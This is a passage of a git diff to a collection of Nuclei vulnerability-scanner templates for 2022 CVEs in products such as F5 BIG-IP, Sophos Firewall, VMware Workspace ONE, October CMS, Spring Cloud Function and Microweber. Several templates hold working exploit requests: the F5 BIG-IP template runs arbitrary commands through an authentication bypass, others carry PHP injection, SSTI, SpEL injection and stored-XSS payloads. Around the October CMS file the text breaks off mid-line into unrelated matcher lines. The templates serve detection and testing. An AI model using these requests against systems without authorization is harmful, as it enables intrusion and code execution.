Data Center versions before 4.13.18, versions 4.14.0 and later before 4.20.6, and versions 4.21.0 and later before 4.22.0. - impact: | - Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, modification of data, and potential disruption of business operations. - remediation: Ensure you are using the latest version and that all security patches have been applied. - reference: - - https://blog.viettelcybersecurity.com/cve-2022-0540-authentication-bypass-in-seraph/ - - https://nvd.nist.gov/vuln/detail/CVE-2022-0540 - - https://confluence.atlassian.com/display/JIRA/Jira+Security+Advisory+2022-04-20 - - https://jira.atlassian.com/browse/JRASERVER-73650 - - https://jira.atlassian.com/browse/JSDSERVER-11224 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2022-0540 - cwe-id: CWE-287 - epss-score: 0.2507 - epss-percentile: 0.96565 - cpe: cpe:2.3:a:atlassian:jira_data_center:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: atlassian - product: jira_data_center - shodan-query: http.component:"Atlassian Jira" - tags: cve,cve2022,atlassian,jira,exposure,auth-bypass - -http: - - method: GET - path: - - '{{BaseURL}}/InsightPluginShowGeneralConfiguration.jspa;' - - '{{BaseURL}}/secure/WBSGanttManageScheduleJobAction.jspa;' - - stop-at-first-match: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'General Insight Configuration' - - - type: status - status: - - 200 -# digest: 4a0a00473045022100b356f158d98318a855357790576be317b29c040cc4b83e9ce5c9fe54fc6684eb02206bea066d8503896703de749d0cbdc015c9910fb42cc3671fa481e6e72d71ab25:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-0776.yaml b/nuclei-templates/CVE-2022/cve-2022-0776.yaml new file mode 100644 index 0000000000..a37ad7c9da --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-0776.yaml @@ -0,0 +1,51 @@ +id: CVE-2022-0776 + +info: + name: RevealJS postMessage <4.3.0 - Cross-Site Scripting + author: LogicalHunter + severity: medium + description: RevealJS postMessage before 4.3.0 contains a cross-site scripting vulnerability via the document object model. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website. + remediation: | + Upgrade to RevealJS postMessage version 4.3.0 or later to mitigate this vulnerability. + reference: + - https://hackerone.com/reports/691977 + - https://github.com/hakimel/reveal.js/pull/3137 + - https://huntr.dev/bounties/be2b7ee4-f487-42e1-874a-6bcc410e4001/ + - https://nvd.nist.gov/vuln/detail/CVE-2022-0776 + - https://github.com/hakimel/reveal.js/commit/32cdd3b1872ba8e2267c9e87ae216cb55f40f4d2 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2022-0776 + cwe-id: CWE-79 + epss-score: 0.001 + epss-percentile: 0.40139 + cpe: cpe:2.3:a:revealjs:reveal.js:*:*:*:*:*:node.js:*:* + metadata: + vendor: revealjs + product: reveal.js + framework: node.js + tags: cve,cve2022,hackerone,huntr,headless,postmessage,revealjs,node.js +headless: + - steps: + - args: + url: "{{BaseURL}}" + action: navigate + + - action: waitload + + - action: script + name: extract + args: + code: | + () => { + return (Reveal.VERSION <= "3.8.0" || Reveal.VERSION < "4.3.0") + } + matchers: + - type: word + part: extract + words: + - "true" +# digest: 4b0a004830460221009720f8c313e9c7bfe1e691d95cd242fb5bdd57b13ac1db4e917f6c39f52fbea2022100c9c3f23d0e64a915bbec12c1a178053c1af95773255438a75685716f084fda92:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-0921.yaml b/nuclei-templates/CVE-2022/cve-2022-0921.yaml deleted file mode 100644 index cd4e13baa8..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-0921.yaml +++ /dev/null @@ -1,57 +0,0 @@ -id: CVE-2022-0954 - -info: - name: Microweber - Cross-site Scripting - author: amit-jd - severity: medium - description: | - Multiple Stored Cross-site Scripting (XSS) Vulnerabilities in Shop's Other Settings, Shop's Autorespond E-mail Settings and Shops' Payments Methods in GitHub repository microweber/microweber prior to 1.2.11. - reference: - - https://github.com/advisories/GHSA-8c76-mxv5-w4g8 - - https://huntr.dev/bounties/b99517c0-37fc-4efa-ab1a-3591da7f4d26/ - - https://github.com/microweber/microweber/commit/955471c27e671c49e4b012e3b120b004082ac3f7 - - https://nvd.nist.gov/vuln/detail/CVE-2022-0954 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.4 - cve-id: CVE-2022-0954 - cwe-id: CWE-79 - metadata: - verified: "true" - tags: cve,cve2022,xss,microweber - -requests: - - raw: - - | - POST /api/user_login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - username={{username}}&password={{password}} - - - | - POST /api/save_option HTTP/2 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - Referer: {{BaseURL}}/admin/view:shop/action:options - - option_key=checkout_url&option_group=shop&option_value=%22%3E%3CiMg+SrC%3D%22x%22+oNeRRor%3D%22alert(document.domain)%3B%22%3E&module=shop%2Forders%2Fsettings%2Fother - - - | - POST /module/ HTTP/2 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - Referer: {{BaseURL}}/admin/view:shop/action:options - - module=settings%2Fsystem_settings&id=settings_admin_mw-main-module-backend-settings-admin&class=card-body+pt-3&option_group=shop%2Forders%2Fsettings%2Fother&is_system=1&style=position%3A+relative%3B - - cookie-reuse: true - req-condition: true - matchers: - - type: dsl - dsl: - - 'contains(body_2,"true")' - - contains(body_3,'\">\" placeholder=\"Use default') - - 'contains(all_headers_3,"text/html")' - - 'status_code_3==200' - condition: and diff --git a/nuclei-templates/CVE-2022/cve-2022-0963.yaml b/nuclei-templates/CVE-2022/cve-2022-0963.yaml deleted file mode 100644 index e2a7395a63..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-0963.yaml +++ /dev/null @@ -1,75 +0,0 @@ -id: CVE-2022-0963 - -info: - name: Microweber <1.2.12 - Stored Cross-Site Scripting - author: amit-jd - severity: medium - description: | - Microweber prior to 1.2.12 contains a stored cross-site scripting vulnerability. It allows unrestricted upload of XML files,. - remediation: | - Upgrade Microweber CMS to version 1.2.12 or later to mitigate the vulnerability. - reference: - - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c/ - - https://github.com/advisories/GHSA-q3x2-jvp3-wj78 - - https://huntr.dev/bounties/a89a4198-0880-4aa2-8439-a463f39f244c - - https://nvd.nist.gov/vuln/detail/CVE-2022-0963 - - https://github.com/microweber/microweber/commit/975fc1d6d3fba598ee550849ceb81af23ce72e08 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - cvss-score: 5.4 - cve-id: CVE-2022-0963 - cwe-id: CWE-79 - epss-score: 0.00144 - epss-percentile: 0.50156 - cpe: cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 3 - vendor: microweber - product: microweber - tags: cve,cve2022,xss,microweber,cms,authenticated,huntr,intrusive - -http: - - raw: - - | - POST /api/user_login HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - username={{username}}&password={{password}} - - | - POST /plupload HTTP/1.1 - Host: {{Hostname}} - Content-Type: multipart/form-data; boundary=---------------------------59866212126262636974202255034 - Referer: {{BaseURL}}admin/view:modules/load_module:files - - -----------------------------59866212126262636974202255034 - Content-Disposition: form-data; name="name" - - {{randstr}}.xml - -----------------------------59866212126262636974202255034 - Content-Disposition: form-data; name="chunk" - - 0 - -----------------------------59866212126262636974202255034 - Content-Disposition: form-data; name="chunks" - - 1 - -----------------------------59866212126262636974202255034 - Content-Disposition: form-data; name="file"; filename="blob" - Content-Type: application/octet-stream - - alert(document.domain) - -----------------------------59866212126262636974202255034-- - - | - GET /userfiles/media/default/{{to_lower("{{randstr}}")}}.xml HTTP/1.1 - Host: {{Hostname}} - - matchers: - - type: dsl - dsl: - - 'contains(body_3,"alert(document.domain)")' - - 'status_code_3==200' - - 'contains(body_2,"bytes_uploaded")' - condition: and -# digest: 4a0a0047304502204c9a4e25aee3216da25fd050f68cf7c0e5b0a4e65532f9f62d4b83f5058333e2022100dda270d1c7edbe6d34680d6f67ca827c790c9c53883fb2789a999d65b493962e:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-1040.yaml b/nuclei-templates/CVE-2022/cve-2022-1040.yaml new file mode 100644 index 0000000000..e304c7bb7c --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-1040.yaml @@ -0,0 +1,58 @@ +id: CVE-2022-1040 + +info: + name: Sophos Firewall <=18.5 MR3 - Remote Code Execution + author: For3stCo1d + severity: critical + description: | + Sophos Firewall version v18.5 MR3 and older contains an authentication bypass vulnerability in the User Portal and Webadmin which could allow a remote attacker to execute code. + impact: | + Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system, potentially leading to complete compromise of the firewall. + remediation: | + Upgrade to a patched version of Sophos Firewall (>=18.5 MR4) to mitigate this vulnerability. + reference: + - https://github.com/killvxk/CVE-2022-1040 + - https://github.com/CronUp/Vulnerabilidades/blob/main/CVE-2022-1040_checker + - https://nvd.nist.gov/vuln/detail/CVE-2022-1040 + - https://www.sophos.com/en-us/security-advisories/sophos-sa-20220325-sfos-rce + - https://github.com/Mr-xn/Penetration_Testing_POC + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-1040 + cwe-id: CWE-287 + epss-score: 0.97434 + epss-percentile: 0.99939 + cpe: cpe:2.3:o:sophos:sfos:*:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: sophos + product: sfos + shodan-query: http.title:"Sophos" + tags: cve,cve2022,sophos,firewall,auth-bypass,rce,kev + +http: + - method: POST + path: + - "{{BaseURL}}/userportal/Controller?mode=8700&operation=1&datagrid=179&json={\"🦞\":\"test\"}" + + headers: + X-Requested-With: "XMLHttpRequest" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "{\"status\":\"Session Expired\"}" + + - type: word + part: header + words: + - "Server: xxxx" + + - type: status + status: + - 200 +# digest: 4a0a00473045022100f080aa3d8834e42afae528c892504c545864a4171a3a9942ab2a67b241c8cfc40220077fa609e7ee21031571a5fa2ca2d814a59157fd47ce39dc7ba4e6310900f35f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-1388.yaml b/nuclei-templates/CVE-2022/cve-2022-1388.yaml new file mode 100644 index 0000000000..62a06938bc --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-1388.yaml @@ -0,0 +1,57 @@ +id: CVE-2022-1388 +info: + name: F5 BIG-IP iControl REST Auth Bypass RCE | Command Parameter + author: Mrcl0wn + severity: critical + description: "CVE-2022-1388 is an authentication bypass vulnerability in the REST \ncomponent of BIG-IP’s iControl API that was assigned a CVSSv3 \nscore of 9.8. The iControl REST API is used for the management and \nconfiguration of BIG-IP devices. CVE-2022-1388 could be exploited \nby an unauthenticated attacker with network access to the management \nport or self IP addresses of devices that use BIG-IP. Exploitation would \nallow the attacker to execute arbitrary system commands, create and \ndelete files and disable services.\n" + reference: + - https://github.com/alt3kx/CVE-2022-1388_PoC + - https://support.f5.com/csp/article/K23605346 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1388 + - https://github.com/dorkerdevil/CVE-2021-22986-Poc/blob/main/README.md + - https://github.com/horizon3ai/CVE-2022-1388/blob/main/CVE-2022-1388.py + - https://www.tenable.com/blog/cve-2022-1388-authentication-bypass-in-f5-big-ip + - https://github.com/numanturle/CVE-2022-1388/blob/main/bigip-icontrol-rest-rce.yaml + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-2022-1388 + cwe-id: CWE-306 + metadata: + shodan-query: http.title:"BIG-IP®-+Redirect" +"Server" + verified: true + tags: bigip,mirai,rce,cve,cve2022 +variables: + auth_var: "admin:" + cmd_var: "{{CMD}}" +requests: + - raw: + - | + POST /mgmt/tm/util/bash HTTP/1.1 + Host: {{Hostname}} + Connection: keep-alive, X-F5-Auth-Token + X-F5-Auth-Token: a + Authorization: Basic {{base64(auth_var)}} + Content-Type: application/json + + { + "command": "run", + "utilCmdArgs": "-c 'id;cmd_var'" + } + extractors: + - type: regex + part: body + name: result_command + group: 1 + regex: + - "\"commandResult\":\"(.*)\"" + matchers: + - type: word + words: + - "commandResult" + - "uid=" + - "{{cmd_var}}" + - type: status + status: + - 200 + condition: and diff --git a/nuclei-templates/CVE-2022/cve-2022-1815.yaml b/nuclei-templates/CVE-2022/cve-2022-1815.yaml deleted file mode 100644 index 4a3bd44221..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-1815.yaml +++ /dev/null @@ -1,46 +0,0 @@ -id: CVE-2022-1815 - -info: - name: Drawio <18.1.2 - Server-Side Request Forgery - author: amit-jd - severity: high - description: | - Drawio before 18.1.2 is susceptible to server-side request forgery via the /service endpoint in jgraph/drawio. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. - impact: | - Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources or services. - remediation: | - Upgrade Drawio to version 18.1.2 or later to mitigate the SSRF vulnerability. - reference: - - https://huntr.dev/bounties/6e856a25-9117-47c6-9375-52f78876902f/ - - https://huntr.dev/bounties/6e856a25-9117-47c6-9375-52f78876902f - - https://github.com/jgraph/drawio/commit/c287bef9101d024b1fd59d55ecd530f25000f9d8 - - https://nvd.nist.gov/vuln/detail/CVE-2022-1815 - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2022-1815 - cwe-id: CWE-918,CWE-200 - epss-score: 0.02327 - epss-percentile: 0.89496 - cpe: cpe:2.3:a:diagrams:drawio:*:*:*:*:*:*:*:* - metadata: - verified: true - max-request: 1 - vendor: diagrams - product: drawio - tags: cve,cve2022,huntr,drawio,ssrf,oast,oss,jgraph,diagrams - -http: - - raw: - - | - GET /service/0/test.oast.me HTTP/2 - Host: {{Hostname}} - - matchers: - - type: dsl - dsl: - - "contains(body, 'Interactsh Server')" - - status_code == 200 - condition: and -# digest: 4b0a004830460221009f35d80f39006377b499e7582c11b749772582ca4778c993f70157a0094e4bf4022100bb90c3f428c55557012fa9b0accf22af9f738541f92fb8a086a73427e971ad1c:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-21500.yaml b/nuclei-templates/CVE-2022/cve-2022-21500.yaml new file mode 100644 index 0000000000..578dc0e7cb --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-21500.yaml @@ -0,0 +1,56 @@ +id: CVE-2022-21500 + +info: + name: Oracle E-Business Suite <=12.2 - Authentication Bypass + author: 3th1c_yuk1,tess,0xpugazh + severity: high + description: | + Oracle E-Business Suite (component: Manage Proxies) 12.1 and 12.2 are susceptible to an easily exploitable vulnerability that allows an unauthenticated attacker with network access via HTTP to compromise it by self-registering for an account. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle E-Business Suite accessible data. + impact: | + Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the Oracle E-Business Suite application. + remediation: | + Apply the necessary security patches or updates provided by Oracle to mitigate this vulnerability. + reference: + - https://orwaatyat.medium.com/my-new-discovery-in-oracle-e-business-login-panel-that-allowed-to-access-for-all-employees-ed0ec4cad7ac + - https://twitter.com/GodfatherOrwa/status/1514720677173026816 + - https://www.oracle.com/security-alerts/alert-cve-2022-21500.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-21500 + - https://www.oracle.com/security-alerts/cpujul2022.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2022-21500 + epss-score: 0.92631 + epss-percentile: 0.98947 + cpe: cpe:2.3:a:oracle:e-business_suite:12.2:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 4 + vendor: oracle + product: e-business_suite + shodan-query: http.title:"Login" "X-ORACLE-DMS-ECID" 200 + tags: cve,cve2022,oracle,misconfig,auth-bypass + +http: + - method: GET + path: + - '{{BaseURL}}/OA_HTML/ibeCAcpSSOReg.jsp' + - '{{BaseURL}}/OA_HTML/ibeCRgpPrimaryCreate.jsp' + - '{{BaseURL}}/OA_HTML/ibeCRgpIndividualUser.jsp' + - '{{BaseURL}}/OA_HTML/ibeCRgpPartnerPriCreate.jsp' + + stop-at-first-match: true + + matchers-condition: and + matchers: + - type: word + words: + - 'Registration' + - 'Register as individual' + - '' + condition: and + + - type: status + status: + - 200 +# digest: 4a0a00473045022077a908cc0f84943d99a897323cdeb2899210c5a6cd3d08634c62ced31283feeb022100a8428c5469152520da4ec621970240d45755a2c602d099e22dce986d12653785:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-21705.yaml b/nuclei-templates/CVE-2022/cve-2022-21705.yaml deleted file mode 100644 index b697414512..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-21705.yaml +++ /dev/null @@ -1,116 +0,0 @@ -id: CVE-2022-21705 - -info: - name: October CMS - Remote Code Execution - author: iPhantasmic - severity: high - description: | - October CMS is susceptible to remote code execution. In affected versions, user input is not properly sanitized before rendering. An authenticated user with the permissions to create, modify, and delete website pages can bypass cms.safe_mode and cms.enableSafeMode in order to execute arbitrary code. This affects admin panels that rely on safe mode and restricted permissions. - impact: | - Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system. - remediation: | - The issue has been patched in Build 474 (1.0.474) and 1.1.10. Users unable to upgrade should apply https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe manually to installation. - reference: - - https://github.com/octobercms/library/commit/c393c5ce9ca2c5acc3ed6c9bb0dab5ffd61965fe - - https://github.com/octobercms/october/security/advisories/GHSA-79jw-2f46-wv22 - - https://cyllective.com/blog/post/octobercms-cve-2022-21705/ - - https://nvd.nist.gov/vuln/detail/CVE-2022-21705 - - https://github.com/cyllective/CVEs - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H - cvss-score: 7.2 - cve-id: CVE-2022-21705 - cwe-id: CWE-74,NVD-CWE-Other - epss-score: 0.00522 - epss-percentile: 0.76405 - cpe: cpe:2.3:a:octobercms:october:*:*:*:*:*:*:*:* - metadata: - max-request: 5 - vendor: octobercms - product: october - tags: cve2022,cve,authenticated,rce,cms,octobercms,injection - -http: - - raw: - - | # to obtain session_key and token - GET /backend/backend/auth/signin HTTP/1.1 - Host: {{Hostname}} - - | # to perform authentication and obtain admin cookies - POST /backend/backend/auth/signin HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - _session_key={{session_key}}&_token={{token}}&postback=1&login={{username}}&password={{password}} - - | # to inject php code in Markup editor and perform exploit - POST /backend/cms HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - X-OCTOBER-REQUEST-HANDLER: onSave - X-OCTOBER-REQUEST-PARTIALS: - X-Requested-With: XMLHttpRequest - - _session_key={{session_key}}&_token={{token}}&settings%5Btitle%5D={{randstr}}&settings%5Burl%5D=%2F{{randstr}}&fileName={{randstr}}&settings%5Blayout%5D=&settings%5Bdescription%5D=&settings%5Bis_hidden%5D=0&settings%5Bmeta_title%5D=&settings%5Bmeta_description%5D=&markup=%3C%3Fphp%0D%0A%0D%0Afunction+onInit()+%7B%0D%0A++++phpinfo()%3B%0D%0A%7D%0D%0A%0D%0A%3F%3E%0D%0A%3D%3D%0D%0A&code=&templateType=page&templatePath=&theme=demo&templateMtime=&templateForceSave=0 - - | # to obtain theme - POST /backend/cms HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - X-OCTOBER-REQUEST-HANDLER: onCreateTemplate - X-OCTOBER-REQUEST-PARTIALS: - X-Requested-With: XMLHttpRequest - - _session_key={{session_key}}&_token={{token}}&search=&type=page - - | # to access the template page for generated exploit - POST /backend/cms HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded; charset=UTF-8 - X-OCTOBER-REQUEST-HANDLER: onOpenTemplate - X-OCTOBER-REQUEST-PARTIALS: - X-Requested-With: XMLHttpRequest - - _session_key={{session_key}}&_token={{token}}&search=&{{theme}}=demo&type=page&path={{randstr}}.htm - - matchers-condition: and - matchers: - - type: word - part: body - words: - - 'function onInit()' - - 'phpinfo()' - - 'Safe mode is currently enabled. Editing the PHP code of CMS templates is disabled. To disable safe mode, set the `cms.enableSafeMode` configuration value to `false`.' - condition: and - - # if exploit executes, phpinfo() should now be exposed at the /{{randstr}} endpoint, even though Safe mode is enabled - - - type: status - status: - - 200 - - extractors: - - type: xpath - name: session_key - internal: true - xpath: - - "/html/body/div[1]/div/div[2]/div/div/form/input[1]" - attribute: value - - # Obtain _session_key for current OctoberCMS session - - - type: xpath - name: token - internal: true - xpath: - - "/html/body/div[1]/div/div[2]/div/div/form/input[2]" - attribute: value - - # Obtain _token for current OctoberCMS session - - - type: regex - name: theme - group: 1 - regex: - - '" + - "Note '' not found" + condition: or + + - type: word + part: header + words: + - "text/html" + + - type: status + status: + - 404 +# digest: 4a0a004730450221009f17fcdc98badc0464257c420fab598e7343e41d66382b910b98fd7005d968a0022040758dbc4500b3ca9aaa3096213583ee7175eb34c798a02991e0af55731a6641:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-22954.yaml b/nuclei-templates/CVE-2022/cve-2022-22954.yaml deleted file mode 100644 index 65bc52e109..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-22954.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2022-22954 - -info: - name: VMware Workspace ONE Access - Freemarker SSTI - author: sherlocksecurity - severity: critical - description: An unauthenticated attacker with network access could exploit this vulnerability by sending a specially crafted request to a vulnerable VMware Workspace ONE or Identity Manager. Successful exploitation could result in remote code execution by exploiting a server-side template injection flaw. - reference: - - https://www.tenable.com/blog/vmware-patches-multiple-vulnerabilities-in-workspace-one-vmsa-2022-0011 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 9.8 - cve-id: CVE-2022-22954 - cwe-id: CWE-22 - metadata: - shodan-query: http.favicon.hash:-1250474341 - tags: cve,cve2022,vmware,ssti,workspaceone - -requests: - - method: GET - path: - - "{{BaseURL}}/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b%22%66%72%65%65%6d%61%72%6b%65%72%2e%74%65%6d%70%6c%61%74%65%2e%75%74%69%6c%69%74%79%2e%45%78%65%63%75%74%65%22%3f%6e%65%77%28%29%28%22%63%61%74%20%2f%65%74%63%2f%68%6f%73%74%73%22%29%7d" # Executes cat /etc/hosts - - matchers-condition: and - matchers: - - type: word - words: - - "Authorization context is not valid" - - - type: status - status: - - 400 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-22963.yaml b/nuclei-templates/CVE-2022/cve-2022-22963.yaml new file mode 100644 index 0000000000..f0cceb1d51 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-22963.yaml @@ -0,0 +1,38 @@ +id: CVE-2022-22963 + +info: + name: Spring Cloud Function SPEL RCE + author: Mr-xn,Adam Crosser + severity: critical + reference: + - https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f + - https://github.com/cckuailong/spring-cloud-function-SpEL-RCE + - https://tanzu.vmware.com/security/cve-2022-22963 + - https://nsfocusglobal.com/spring-cloud-function-spel-expression-injection-vulnerability-alert/ + - https://github.com/vulhub/vulhub/tree/scf-spel/spring/spring-cloud-function-spel-injection + classification: + cve-id: CVE-2022-22963 + tags: cve,cve2022,springcloud,rce + +requests: + - raw: + - | + POST /functionRouter HTTP/1.1 + Host: {{Hostname}} + spring.cloud.function.routing-expression: T(java.net.InetAddress).getByName("{{interactsh-url}}") + Content-Type: application/x-www-form-urlencoded + + {{rand_base(8)}} + + matchers-condition: and + matchers: + - type: word + part: interactsh_protocol + words: + - "http" + - "dns" + condition: or + + - type: status + status: + - 500 diff --git a/nuclei-templates/CVE-2022/cve-2022-22972.yaml b/nuclei-templates/CVE-2022/cve-2022-22972.yaml new file mode 100644 index 0000000000..2ceac3d1c7 --- /dev/null +++ b/nuclei-templates/CVE-2022/cve-2022-22972.yaml @@ -0,0 +1,113 @@ +id: CVE-2022-22972 + +info: + name: VMware Workspace ONE Access/Identity Manager/vRealize Automation - Authentication Bypass + author: For3stCo1d,princechaddha + severity: critical + description: | + VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate. + impact: | + Successful exploitation of this vulnerability could allow an attacker to bypass authentication and gain unauthorized access to the affected system. + remediation: | + Apply the latest security patches or updates provided by VMware to fix the authentication bypass vulnerability (CVE-2022-22972). + reference: + - https://github.com/horizon3ai/CVE-2022-22972 + - https://www.horizon3.ai/vmware-authentication-bypass-vulnerability-cve-2022-22972-technical-deep-dive + - https://www.vmware.com/security/advisories/VMSA-2022-0014.html + - https://nvd.nist.gov/vuln/detail/CVE-2022-22972 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2022-22972 + cwe-id: CWE-287 + epss-score: 0.7146 + epss-percentile: 0.9778 + cpe: cpe:2.3:a:vmware:identity_manager:3.3.3:*:*:*:*:*:*:* + metadata: + max-request: 3 + vendor: vmware + product: identity_manager + fofa-query: app="vmware-Workspace-ONE-Access" || app="vmware-Identity-Manager" || app="vmware-vRealize" + tags: cve2022,cve,vmware,auth-bypass,oast + +http: + - raw: + - | + GET /vcac/ HTTP/1.1 + Host: {{Hostname}} + - | + GET /vcac/?original_uri={{RootURL}}%2Fvcac HTTP/1.1 + Host: {{Hostname}} + - | + POST /SAAS/auth/login/embeddedauthbroker/callback HTTP/1.1 + Host: {{interactsh-url}} + Content-type: application/x-www-form-urlencoded + + protected_state={{protected_state}}&userstore={{userstore}}&username=administrator&password=horizon&userstoreDisplay={{userstoreDisplay}}&horizonRelayState={{horizonRelayState}}&stickyConnectorId={{stickyConnectorId}}&action=Sign+in + + host-redirects: true + max-redirects: 3 + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "HZN=" + + - type: word + part: interactsh_protocol + words: + - "http" + + - type: status + status: + - 302 + + extractors: + - type: regex + name: protected_state + group: 1 + regex: + - 'id="protected_state" value="([a-zA-Z0-9]+)"\/>' + internal: true + part: body + + - type: regex + name: horizonRelayState + group: 1 + regex: + - 'name="horizonRelayState" value="([a-z0-9-]+)"\/>' + internal: true + part: body + + - type: regex + name: userstore + group: 1 + regex: + - 'id="userstore" value="([a-z.]+)" \/>' + internal: true + part: body + + - type: regex + name: userstoreDisplay + group: 1 + regex: + - 'id="userstoreDisplay" readonly class="login-input transparent_class" value="(.*)"/>' + internal: true + part: body + + - type: regex + name: stickyConnectorId + group: 1 + regex: + - 'name="stickyConnectorId" value="(.*)"/>' + internal: true + part: body + + - type: kval + name: HZN-Cookie + kval: + - 'HZN' + part: header +# digest: 4a0a0047304502206403cd0d279ad3059877b01e431f357ec5373c9854c2ff5cbe853a8ac65ef39c022100d9069fe039d74cbcad2eb0f8ef4724af0436462068f8baecdb321328ac7a89af:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2022/cve-2022-23779.yaml b/nuclei-templates/CVE-2022/cve-2022-23779.yaml deleted file mode 100644 index d6c672d774..0000000000 --- a/nuclei-templates/CVE-2022/cve-2022-23779.yaml +++ /dev/null @@ -1,61 +0,0 @@ -id: CVE-2022-23779 - -info: - name: Zoho ManageEngine - Internal Hostname Disclosure - author: cckuailong - severity: medium - description: Zoho ManageEngine Desktop Central before 10.1.2137.8 exposes the installed server name to anyone. The internal hostname can be discovered by reading HTTP redirect responses. - reference: - - https://www.manageengine.com/products/desktop-central/cve-2022-23779.html - - https://github.com/fbusr/CVE-2022-23779 - - https://nvd.nist.gov/vuln/detail/CVE-2022-23779 - metadata: - fofa-query: app="ZOHO-ManageEngine-Desktop" - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.30 - cve-id: CVE-2022-23779 - cwe-id: CWE-200 - tags: cve,cve2022,zoho,exposure - -requests: - - method: GET - path: - - "{{BaseURL}}/themes" - - matchers-condition: and - matchers: - - type: status - status: - - 301 - - - type: word - part: header - words: - - '/themes/' - - 'text/html' - condition: and - - - type: word - part: location - words: - - '{{Host}}' - negative: true - - - type: word - words: - - '

    301 Moved Permanently

